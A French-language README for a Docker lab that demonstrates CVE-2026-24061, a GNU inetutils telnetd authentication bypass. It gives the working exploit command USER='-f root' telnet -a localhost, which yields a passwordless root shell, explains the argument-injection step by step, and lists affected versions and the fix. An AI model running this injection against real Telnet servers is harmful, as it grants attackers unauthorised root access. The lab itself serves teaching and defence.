
Ceci est un PoC simple qui vous permet de mettre en évidence la gravité du bug Telnet en cours, actuellement activement exploité. Pourquoi les gens utilisent encore Telnet... cela me dépasse.
Un laboratoire Docker pour démontrer la CVE-2026-24061 — une vulnérabilité critique de contournement d'authentification dans GNU inetutils telnetd qui est restée non corrigée pendant 11 ans.
Telnetd transmet la variable d'environnement USER directement à /usr/bin/login sans assainissement. Le binaire login possède un indicateur -f qui ignore l'authentification (destiné aux sessions pré-authentifiées). En définissant USER='-f root', un attaquant trompe login pour lui accorder un accès root sans mot de passe.
Versions concernées : GNU inetutils 1.9.3 (mars 2015) jusqu'à 2.7 Score CVSS : 9,8 (Critique) Correctif : Mettre à jour vers inetutils 2.8+
# Construire l'image
docker build -t telnetd-exploit .
# Exécuter le conteneur (vous place dans un shell en tant que user1)
docker run --rm -it telnetd-exploit
# Exploit — obtenir root sans mot de passe
USER='-f root' telnet -a localhost
Vous atterrirez dans un shell root. Exécutez whoami pour confirmer.
1. Le client se connecte avec : USER='-f root' telnet -a localhost
2. telnetd reçoit la variable d'environnement USER : "-f root"
3. telnetd exécute : /usr/bin/login -f root
4. login interprète -f comme « ignorer l'authentification, l'utilisateur est pré-vérifié »
5. L'attaquant obtient un shell root — aucun mot de passe requis
L'indicateur -f est légitime — il est destiné aux scénarios où un utilisateur est déjà authentifié (par exemple, à partir d'une session locale de confiance). Le bug est que telnetd n'assainit pas la variable USER avant de la transmettre à login, permettant aux attaquants distants d'injecter l'indicateur.
En janvier 2026 :
Même sans ce bug, Telnet transmet tout en texte clair — y compris les mots de passe. Utilisez SSH à la place.
| Protocole | Chiffrement | Authentification |
|---|---|---|
| Telnet | Aucun | Texte clair |
| SSH | Oui | Clé/Mot de passe |
.
├── Dockerfile # Construit le conteneur Debian vulnérable
├── docker-entrypoint.sh # Démarre inetd, bascule vers user1
└── README.md
Laboratoire basé sur leonjza/inetutils-telnetd-auth-bypass